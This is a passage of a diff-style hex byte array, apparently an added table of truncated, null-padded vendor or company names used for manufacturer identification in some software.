0x6e, 0x65, 0x77, 0x65, 0x6c, 0x6c, +0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x46, 0x75, 0x74, +0x4c, 0x6f, 0x63, 0x73, 0x6f, 0x66, 0x74, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x6d, 0x65, 0x74, +0x41, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x00, 0x00, +0x4d, 0x6f, 0x72, 0x72, 0x6f, 0x77, 0x54, 0x65, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x47, 0x72, 0x65, +0x53, 0x69, 0x61, 0x65, 0x2d, 0x4d, 0x69, 0x63, +0x56, 0x69, 0x76, 0x65, 0x72, 0x69, 0x73, 0x54, +0x4e, 0x65, 0x78, 0x74, 0x63, 0x65, 0x6c, 0x6c, +0x53, 0x74, 0x61, 0x72, 0x62, 0x6f, 0x61, 0x72, +0x42, 0x72, 0x69, 0x74, 0x69, 0x73, 0x68, 0x46, +0x45, 0x61, 0x63, 0x65, 0x6d, 0x00, 0x00, 0x00, +0x41, 0x6a, 0x69, 0x6c, 0x65, 0x00, 0x00, 0x00, +0x43, 0x61, 0x6c, 0x79, 0x4e, 0x65, 0x74, 0x77, +0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x44, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x73, 0x61, 0x6e, +0x44, 0x61, 0x76, 0x69, 0x64, 0x45, 0x6c, 0x65, +0x4f, 0x6d, 0x6e, 0x69, 0x62, 0x69, 0x74, 0x00, +0x4c, 0x61, 0x74, 0x63, 0x68, 0x00, 0x00, 0x00, +0x48, 0x65, 0x69, 0x67, 0x68, 0x74, 0x73, 0x54, +0x42, 0x69, 0x6f, 0x6d, 0x65, 0x74, 0x72, 0x69, +0x4f, 0x63, 0x74, 0x6f, 0x74, 0x68, 0x6f, 0x72, +0x48, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x67, 0x65, 0x72, 0x6d, 0x61, 0x6e, +0x45, 0x78, 0x61, 0x72, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x61, 0x6e, 0x6f, 0x70, 0x74, 0x69, 0x63, +0x44, 0x69, 0x61, 0x74, 0x65, 0x6b, 0x50, 0x61, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x6e, 0x65, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x42, 0x75, 0x73, +0x4c, 0x69, 0x76, 0x69, 0x6e, 0x67, 0x73, 0x74, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x41, 0x76, +0x53, 0x65, 0x63, 0x6f, 0x53, 0x72, 0x6c, 0x00, +0x4b, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x43, 0x72, 0x61, +0x4e, 0x6f, 0x72, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x52, 0x65, 0x6c, 0x69, 0x61, 0x54, 0x65, 0x63, +0x50, 0x73, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, +0x51, 0x6e, 0x78, 0x53, 0x6f, 0x66, 0x74, 0x77, +0x48, 0x69, 0x72, 0x61, 0x6b, 0x61, 0x77, 0x61, +0x4e, 0x65, 0x74, 0x73, 0x70, 0x61, 0x6e, 0x00, +0x4e, 0x65, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00, +0x4c, 0x61, 0x6e, 0x61, 0x72, 0x74, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x70, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x72, 0x6f, 0x6d, 0x65, 0x74, 0x72, +0x53, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x43, 0x6f, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x4a, 0x75, 0x6e, +0x4c, 0x61, 0x46, 0x72, 0x61, 0x6e, 0x63, 0x61, +0x53, 0x45, 0x52, 0x43, 0x45, 0x4c, 0x00, 0x00, +0x41, 0x72, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x4e, 0x65, 0x74, 0x65, 0x78, 0x70, 0x72, 0x65, +0x4c, 0x61, 0x73, 0x65, 0x72, 0x6d, 0x61, 0x73, +0x54, 0x75, 0x74, 0x61, 0x6e, 0x6b, 0x68, 0x61, +0x45, 0x64, 0x65, 0x6e, 0x53, 0x69, 0x73, 0x74, +0x44, 0x61, 0x74, 0x61, 0x70, 0x72, 0x6f, 0x64, +0x4c, 0x61, 0x6e, 0x73, 0x54, 0x65, 0x63, 0x68, +0x43, 0x69, 0x70, 0x68, 0x65, 0x72, 0x00, 0x00, +0x4a, 0x61, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x61, 0x6e, 0x73, 0x44, 0x65, +0x4f, 0x68, 0x6b, 0x75, 0x72, 0x61, 0x45, 0x6c, +0x47, 0x65, 0x72, 0x6c, 0x6f, 0x66, 0x66, 0x47, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x75, 0x6d, 0x43, +0x46, 0x75, 0x6a, 0x69, 0x50, 0x68, 0x6f, 0x74, +0x4e, 0x65, 0x74, 0x77, 0x69, 0x7a, 0x00, 0x00, +0x4f, 0x6b, 0x75, 0x6d, 0x61, 0x00, 0x00, 0x00, +0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x52, 0x65, +0x49, 0x2d, 0x43, 0x75, 0x62, 0x65, 0x64, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x62, 0x69, 0x74, 0x00, +0x51, 0x75, 0x69, 0x6e, 0x74, 0x61, 0x72, 0x00, +0x52, 0x61, 0x79, 0x74, 0x65, 0x63, 0x68, 0x45, +0x44, 0x79, 0x6e, 0x61, 0x74, 0x65, 0x6d, 0x00, +0x52, 0x61, 0x73, 0x74, 0x65, 0x72, 0x49, 0x6d, +0x54, 0x65, 0x72, 0x69, 0x64, 0x69, 0x61, 0x6e, +0x4d, 0x65, 0x6e, 0x2d, 0x4d, 0x69, 0x6b, 0x72, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x61, 0x63, 0x63, +0x54, 0x6f, 0x77, 0x65, 0x72, 0x54, 0x65, 0x63, +0x57, 0x69, 0x65, 0x73, 0x65, 0x6d, 0x61, 0x6e, +0x46, 0x61, 0x47, 0x65, 0x62, 0x72, 0x48, 0x65, +0x53, 0x74, 0x6f, 0x72, 0x65, 0x73, 0x41, 0x75, +0x45, 0x63, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x6c, 0x75, 0x78, 0x00, +0x53, 0x74, 0x72, 0x61, 0x74, 0x61, 0x63, 0x6f, +0x45, 0x6d, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x49, 0x73, 0x6f, 0x6c, 0x61, 0x74, 0x69, 0x6f, +0x42, 0x6c, 0x75, 0x65, 0x43, 0x68, 0x69, 0x70, +0x55, 0x6e, 0x69, 0x6d, 0x69, 0x63, 0x72, 0x6f, +0x42, 0x61, 0x79, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x55, 0x73, 0x52, 0x6f, 0x62, 0x6f, 0x74, 0x69, +0x47, 0x72, 0x6f, 0x75, 0x70, 0x32, 0x30, 0x30, +0x44, 0x65, 0x70, 0x61, 0x72, 0x74, 0x6d, 0x65, +0x4d, 0x69, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x74, 0x72, 0x6f, 0x6c, 0x00, +0x54, 0x6f, 0x79, 0x6f, 0x44, 0x65, 0x6e, 0x6b, +0x42, 0x75, 0x72, 0x72, 0x2d, 0x42, 0x72, 0x6f, +0x41, 0x73, 0x70, 0x65, 0x63, 0x74, 0x53, 0x6f, +0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x61, 0x72, 0x43, +0x53, 0x6f, 0x6d, 0x65, 0x6c, 0x65, 0x63, 0x00, +0x4d, 0x79, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x44, 0x61, 0x74, 0x61, 0x65, 0x78, 0x70, 0x65, +0x44, 0x65, 0x6e, 0x73, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6d, 0x61, 0x70, 0x68, 0x6f, 0x72, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x73, +0x45, 0x6c, 0x6f, 0x6e, 0x65, 0x78, 0x00, 0x00, +0x4c, 0x26, 0x4e, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x56, 0x61, 0x72, 0x69, 0x2d, 0x4c, 0x69, 0x74, +0x46, 0x69, 0x6e, 0x65, 0x2d, 0x50, 0x61, 0x6c, +0x49, 0x64, 0x53, 0x63, 0x61, 0x6e, 0x64, 0x69, +0x53, 0x6f, 0x6c, 0x65, 0x63, 0x74, 0x65, 0x6b, +0x49, 0x6d, 0x70, 0x75, 0x6c, 0x73, 0x65, 0x54, +0x4d, 0x6f, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x53, +0x53, 0x63, 0x6f, 0x70, 0x65, 0x43, 0x6f, 0x6d, +0x44, 0x6f, 0x63, 0x75, 0x70, 0x6f, 0x69, 0x6e, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x42, 0x61, +0x5a, 0x61, 0x68, 0x6e, 0x65, 0x72, 0x2d, 0x45, +0x4f, 0x73, 0x69, 0x50, 0x6c, 0x75, 0x73, 0x00, +0x53, 0x76, 0x65, 0x63, 0x43, 0x6f, 0x6d, 0x70, +0x42, 0x6f, 0x63, 0x61, 0x52, 0x65, 0x73, 0x65, +0x48, 0x61, 0x66, 0x74, 0x54, 0x65, 0x63, 0x68, +0x4b, 0x6f, 0x6d, 0x61, 0x74, 0x73, 0x75, 0x00, +0x53, 0x65, 0x63, 0x74, 0x72, 0x61, 0x53, 0x65, +0x41, 0x72, 0x65, 0x61, 0x6e, 0x65, 0x78, 0x43, +0x4b, 0x6e, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x58, 0x65, 0x64, 0x69, 0x61, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x79, 0x6f, 0x64, 0x61, 0x41, 0x75, +0x58, 0x61, 0x6e, 0x74, 0x65, 0x43, 0x6f, 0x72, +0x49, 0x2d, 0x44, 0x61, 0x74, 0x61, 0x49, 0x6e, +0x46, 0x6f, 0x6e, 0x73, 0x79, 0x73, 0x00, 0x00, +0x50, 0x72, 0x69, 0x76, 0x61, 0x42, 0x76, 0x00, +0x41, 0x73, 0x63, 0x65, 0x6e, 0x64, 0x43, 0x6f, +0x48, 0x69, 0x67, 0x68, 0x74, 0x65, 0x63, 0x68, +0x52, 0x69, 0x73, 0x63, 0x44, 0x65, 0x76, 0x65, +0x4b, 0x75, 0x62, 0x6f, 0x74, 0x61, 0x45, 0x6c, +0x4e, 0x75, 0x70, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, +0x4d, 0x65, 0x74, 0x72, 0x6f, 0x64, 0x61, 0x74, +0x4d, 0x6f, 0x6f, 0x72, 0x65, 0x50, 0x72, 0x6f, +0x54, 0x72, 0x61, 0x63, 0x65, 0x4d, 0x6f, 0x75, +0x44, 0x61, 0x74, 0x61, 0x4c, 0x69, 0x6e, 0x6b, +0x4c, 0x79, 0x6e, 0x6b, 0x00, 0x00, 0x00, 0x00, +0x55, 0x75, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, +0x45, 0x6b, 0x66, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x54, 0x65, 0x6c, 0x69, 0x6e, 0x64, 0x75, 0x73, +0x4c, 0x61, 0x75, 0x74, 0x65, 0x72, 0x62, 0x61, +0x52, 0x69, 0x73, 0x71, 0x4d, 0x6f, 0x64, 0x75, +0x54, 0x72, 0x6f, 0x6e, 0x69, 0x78, 0x50, 0x72, +0x50, 0x72, 0x61, 0x69, 0x6d, 0x53, 0x52, 0x4c, +0x4a, 0x61, 0x62, 0x69, 0x6c, 0x43, 0x69, 0x72, +0x4d, 0x65, 0x6e, 0x6e, 0x65, 0x6e, 0x4d, 0x65, +0x41, 0x6c, 0x74, 0x61, 0x52, 0x65, 0x73, 0x65, +0x56, 0x6d, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x61, 0x6d, 0x75, 0x72, 0x61, 0x00, 0x00, +0x41, 0x72, 0x63, 0x68, 0x69, 0x70, 0x65, 0x6c, +0x43, 0x68, 0x75, 0x6e, 0x74, 0x65, 0x78, 0x45, +0x59, 0x6f, 0x73, 0x68, 0x69, 0x6b, 0x69, 0x49, +0x43, 0x61, 0x63, 0x68, 0x65, 0x43, 0x6f, 0x6d, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x4d, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x44, 0x65, 0x6e, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x6d, 0x65, 0x64, +0x44, 0x75, 0x61, 0x6c, 0x45, 0x6e, 0x74, 0x65, +0x55, 0x6e, 0x69, 0x67, 0x72, 0x61, 0x66, 0x4f, +0x44, 0x69, 0x63, 0x6b, 0x65, 0x6e, 0x73, 0x44, +0x45, 0x78, 0x69, 0x63, 0x6f, 0x6d, 0x41, 0x75, +0x53, 0x65, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x47, 0x76, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x61, 0x72, 0x72, 0x6f, 0x6e, 0x4d, 0x63, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x56, +0x47, 0x61, 0x6d, 0x62, 0x69, 0x74, 0x43, 0x6f, +0x4d, 0x61, 0x72, 0x62, 0x65, 0x6e, 0x43, 0x6f, +0x54, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x54, 0x65, 0x6b, 0x6c, 0x6f, 0x67, 0x69, 0x78, +0x47, 0x63, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x47, 0x65, 0x6e, 0x69, 0x75, 0x73, 0x4e, 0x65, +0x4e, 0x6f, 0x72, 0x61, 0x6e, 0x64, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x73, 0x74, 0x61, 0x74, 0x44, +0x4d, 0x79, 0x73, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x74, +0x46, 0x72, 0x61, 0x73, 0x65, 0x72, 0x53, 0x48, +0x46, 0x75, 0x6e, 0x6b, 0x53, 0x6f, 0x66, 0x74, +0x4e, 0x65, 0x74, 0x76, 0x61, 0x6e, 0x74, 0x61, +0x46, 0x6f, 0x72, 0x76, 0x61, 0x6c, 0x43, 0x72, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x41, +0x49, 0x6e, 0x65, 0x78, 0x54, 0x65, 0x63, 0x68, +0x53, 0x68, 0x6f, 0x72, 0x65, 0x4d, 0x69, 0x63, +0x51, 0x75, 0x61, 0x64, 0x2f, 0x47, 0x72, 0x61, +0x41, 0x63, 0x75, 0x73, 0x6f, 0x6e, 0x43, 0x6f, +0x53, 0x69, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x72, +0x53, 0x70, 0x61, 0x72, 0x6b, 0x74, 0x72, 0x75, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x42, 0x79, 0x74, +0x42, 0x61, 0x69, 0x6c, 0x65, 0x79, 0x43, 0x6f, +0x41, 0x6c, 0x66, 0x61, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x63, 0x69, 0x65, +0x43, 0x6f, 0x6d, 0x65, 0x6c, 0x74, 0x61, 0x53, +0x43, 0x65, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x49, 0x6d, 0x61, 0x74, 0x72, 0x61, 0x6e, 0x56, +0x52, 0x61, 0x74, 0x6f, 0x63, 0x53, 0x79, 0x73, +0x43, 0x6f, 0x6d, 0x74, 0x72, 0x65, 0x65, 0x54, +0x53, 0x79, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x65, +0x4f, 0x6c, 0x79, 0x6d, 0x70, 0x75, 0x73, 0x49, +0x41, 0x78, 0x6f, 0x6e, 0x4e, 0x65, 0x74, 0x77, +0x51, 0x75, 0x61, 0x6e, 0x63, 0x6f, 0x6d, 0x45, +0x4a, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x54, 0x72, +0x51, 0x75, 0x69, 0x6e, 0x74, 0x65, 0x4e, 0x65, +0x49, 0x70, 0x63, 0x50, 0x74, 0x65, 0x00, 0x00, +0x45, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x5a, 0x63, 0x6f, 0x6d, 0x6d, 0x00, 0x00, 0x00, +0x4b, 0x79, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x73, 0x63, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x53, 0x6f, 0x6e, 0x69, 0x63, 0x53, 0x6f, 0x6c, +0x43, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x70, 0x00, +0x4f, 0x73, 0x69, 0x74, 0x65, 0x63, 0x68, 0x43, +0x47, 0x65, 0x73, 0x70, 0x61, 0x63, 0x53, 0x41, +0x46, 0x69, 0x62, 0x65, 0x72, 0x64, 0x61, 0x74, +0x50, 0x6c, 0x65, 0x78, 0x63, 0x6f, 0x6d, 0x00, +0x4f, 0x61, 0x6b, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x41, 0x72, 0x72, 0x61, 0x79, 0x54, 0x65, 0x63, +0x53, 0x65, 0x68, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x44, 0x61, 0x75, 0x70, 0x68, 0x69, 0x6e, 0x54, +0x55, 0x73, 0x41, 0x72, 0x6d, 0x79, 0x45, 0x6c, +0x41, 0x62, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x70, +0x43, 0x65, 0x6c, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x45, 0x6e, 0x67, 0x61, 0x67, 0x65, 0x43, 0x6f, +0x41, 0x62, 0x6f, 0x75, 0x74, 0x43, 0x6f, 0x6d, +0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x43, 0x6f, +0x41, 0x73, 0x64, 0x67, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x73, 0x75, 0x6d, 0x00, 0x00, +0x41, 0x70, 0x74, 0x65, 0x63, 0x43, 0x6f, 0x6d, +0x44, 0x64, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x73, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x4d, 0x6f, 0x62, +0x46, 0x65, 0x72, 0x72, 0x61, 0x6e, 0x53, 0x63, +0x56, 0x73, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x44, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x64, 0x61, 0x45, 0x6e, 0x74, +0x50, 0x65, 0x6e, 0x74, 0x61, 0x63, 0x6f, 0x6d, +0x5a, 0x68, 0x73, 0x5a, 0x65, 0x69, 0x74, 0x6d, +0x4d, 0x69, 0x63, 0x41, 0x73, 0x73, 0x6f, 0x63, +0x4d, 0x61, 0x63, 0x74, 0x65, 0x6c, 0x6c, 0x00, +0x4c, 0x61, 0x6e, 0x61, 0x63, 0x63, 0x65, 0x73, +0x52, 0x68, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x6e, 0x69, 0x6a, 0x64, 0x65, 0x72, 0x4d, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x65, 0x72, +0x50, 0x6c, 0x75, 0x72, 0x69, 0x73, 0x00, 0x00, +0x53, 0x70, 0x65, 0x65, 0x63, 0x68, 0x44, 0x65, +0x50, 0x72, 0x69, 0x73, 0x6d, 0x56, 0x69, 0x64, +0x47, 0x61, 0x74, 0x65, 0x77, 0x6f, 0x72, 0x6b, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x78, 0x41, 0x65, +0x52, 0x6f, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x76, 0x65, 0x78, 0x4d, 0x69, +0x53, 0x63, 0x6d, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x53, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x49, +0x51, 0x77, 0x65, 0x73, 0x43, 0x6f, 0x6d, 0x00, +0x55, 0x72, 0x6d, 0x65, 0x74, 0x54, 0x6c, 0x63, +0x4d, 0x69, 0x6d, 0x61, 0x6b, 0x69, 0x45, 0x6e, +0x53, 0x62, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x46, 0x75, 0x72, 0x75, 0x6e, 0x6f, 0x45, 0x6c, +0x50, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6c, 0x00, +0x53, 0x65, 0x6e, 0x65, 0x74, 0x61, 0x73, 0x00, +0x41, 0x69, 0x6d, 0x53, 0x79, 0x73, 0x74, 0x65, +0x52, 0x65, 0x67, 0x65, 0x6e, 0x74, 0x45, 0x6c, +0x49, 0x6e, 0x63, 0x72, 0x65, 0x64, 0x69, 0x62, +0x49, 0x6e, 0x66, 0x6f, 0x72, 0x74, 0x72, 0x65, +0x43, 0x6f, 0x67, 0x6e, 0x65, 0x78, 0x00, 0x00, +0x58, 0x72, 0x6f, 0x73, 0x73, 0x74, 0x65, 0x63, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x41, +0x57, 0x61, 0x6b, 0x65, 0x66, 0x65, 0x72, 0x6e, +0x56, 0x6f, 0x78, 0x65, 0x6e, 0x74, 0x00, 0x00, +0x4a, 0x65, 0x74, 0x63, 0x65, 0x6c, 0x6c, 0x00, +0x43, 0x61, 0x6d, 0x70, 0x62, 0x65, 0x6c, 0x6c, +0x41, 0x64, 0x65, 0x6d, 0x63, 0x6f, 0x00, 0x00, +0x56, 0x6c, 0x73, 0x69, 0x54, 0x65, 0x63, 0x68, +0x53, 0x61, 0x66, 0x65, 0x74, 0x72, 0x61, 0x6e, +0x59, 0x61, 0x6e, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x44, 0x61, +0x4f, 0x72, 0x6d, 0x65, 0x63, 0x00, 0x00, 0x00, +0x42, 0x65, 0x68, 0x61, 0x76, 0x69, 0x6f, 0x72, +0x46, 0x69, 0x76, 0x65, 0x6d, 0x65, 0x72, 0x65, +0x55, 0x74, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6d, +0x5a, 0x6f, 0x6e, 0x65, 0x77, 0x6f, 0x72, 0x78, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, +0x56, 0x69, 0x65, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x47, 0x61, 0x6c, 0x69, 0x6c, 0x65, 0x6f, 0x54, +0x52, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x63, 0x68, +0x53, 0x79, 0x73, 0x6d, 0x61, 0x74, 0x65, 0x00, +0x41, 0x6d, 0x69, 0x67, 0x6f, 0x54, 0x65, 0x63, +0x4d, 0x61, 0x68, 0x6c, 0x6f, 0x55, 0x67, 0x00, +0x5a, 0x6f, 0x6e, 0x61, 0x6c, 0x52, 0x65, 0x74, +0x41, 0x6c, 0x69, 0x64, 0x69, 0x61, 0x6e, 0x4e, +0x4b, 0x76, 0x61, 0x73, 0x65, 0x72, 0x00, 0x00, +0x44, 0x6f, 0x6c, 0x62, 0x79, 0x4c, 0x61, 0x62, +0x58, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x45, 0x63, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x49, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x74, +0x50, 0x72, 0x65, 0x73, 0x65, 0x6e, 0x63, 0x65, +0x4c, 0x61, 0x43, 0x69, 0x65, 0x47, 0x72, 0x6f, +0x45, 0x75, 0x72, 0x6f, 0x74, 0x65, 0x6c, 0x54, +0x44, 0x69, 0x76, 0x4f, 0x66, 0x52, 0x65, 0x73, +0x4c, 0x6f, 0x67, 0x69, 0x62, 0x61, 0x67, 0x00, +0x42, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x49, 0x73, 0x6b, 0x72, 0x61, 0x74, 0x65, 0x6c, +0x4f, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x65, +0x53, 0x61, 0x73, 0x49, 0x6e, 0x73, 0x74, 0x69, +0x4b, 0x61, 0x74, 0x68, 0x72, 0x65, 0x69, 0x6e, +0x53, 0x6f, 0x6d, 0x61, 0x74, 0x00, 0x00, 0x00, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x6b, 0x00, 0x00, +0x53, 0x79, 0x6d, 0x62, 0x69, 0x6f, 0x6e, 0x69, +0x41, 0x63, 0x72, 0x6f, 0x6c, 0x6f, 0x6f, 0x70, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x77, +0x53, 0x74, 0x72, 0x61, 0x74, 0x61, 0x62, 0x65, +0x56, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x54, 0x72, 0x65, 0x6d, 0x6f, 0x6e, 0x45, 0x6e, +0x44, 0x69, 0x67, 0x69, 0x67, 0x72, 0x61, 0x6d, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x74, 0x65, 0x6c, +0x54, 0x6f, 0x6b, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x57, 0x69, 0x6e, 0x74, 0x72, 0x69, 0x73, 0x73, +0x43, 0x61, 0x6d, 0x70, 0x69, 0x6f, 0x43, 0x6f, +0x49, 0x77, 0x69, 0x6c, 0x6c, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x6e, 0x6b, 0x75, 0x70, 0x00, 0x00, +0x53, 0x72, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, +0x53, 0x68, 0x61, 0x72, 0x65, 0x77, 0x61, 0x76, +0x41, 0x63, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x00, +0x54, 0x72, 0x65, 0x6e, 0x64, 0x76, 0x69, 0x65, +0x4b, 0x6d, 0x63, 0x43, 0x6f, 0x6e, 0x74, 0x72, +0x4c, 0x6f, 0x6e, 0x67, 0x57, 0x65, 0x6c, 0x6c, +0x45, 0x63, 0x68, 0x65, 0x6c, 0x6f, 0x6e, 0x00, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x6c, 0x6f, 0x67, +0x41, 0x63, 0x6e, 0x41, 0x64, 0x76, 0x61, 0x6e, +0x54, 0x61, 0x71, 0x75, 0x61, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x4d, 0x65, +0x42, 0x61, 0x6e, 0x6b, 0x4f, 0x66, 0x41, 0x6d, +0x45, 0x6c, 0x74, 0x65, 0x78, 0x4f, 0x66, 0x53, +0x41, 0x6d, 0x61, 0x71, 0x75, 0x65, 0x73, 0x74, +0x43, 0x6f, 0x6d, 0x63, 0x61, 0x6d, 0x49, 0x6e, +0x4b, 0x6f, 0x79, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x6f, 0x73, 0x69, 0x6e, 0x65, 0x43, 0x6f, +0x4b, 0x65, 0x79, 0x63, 0x6f, 0x72, 0x70, 0x00, +0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, +0x45, 0x78, 0x61, 0x62, 0x79, 0x74, 0x65, 0x00, +0x52, 0x74, 0x64, 0x45, 0x6d, 0x62, 0x65, 0x64, +0x49, 0x6f, 0x77, 0x61, 0x76, 0x65, 0x00, 0x00, +0x49, 0x6e, 0x76, 0x65, 0x72, 0x74, 0x65, 0x78, +0x4e, 0x65, 0x78, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x4f, 0x74, 0x69, 0x73, 0x45, 0x6c, 0x65, 0x76, +0x46, 0x6f, 0x76, 0x65, 0x6f, 0x6e, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x66, 0x69, 0x72, +0x44, 0x79, 0x6e, 0x61, 0x63, 0x6f, 0x6c, 0x6f, +0x50, 0x68, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x55, +0x47, 0x65, 0x6e, 0x6f, 0x61, 0x54, 0x65, 0x63, +0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x47, +0x41, 0x72, 0x64, 0x65, 0x6e, 0x74, 0x54, 0x65, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x61, 0x6e, +0x54, 0x71, 0x2d, 0x43, 0x6f, 0x6d, 0x70, 0x6f, +0x53, 0x65, 0x65, 0x69, 0x6f, 0x6e, 0x43, 0x6f, +0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x44, 0x79, +0x45, 0x6c, 0x63, 0x61, 0x72, 0x64, 0x57, 0x69, +0x46, 0x69, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x00, +0x53, 0x70, 0x65, 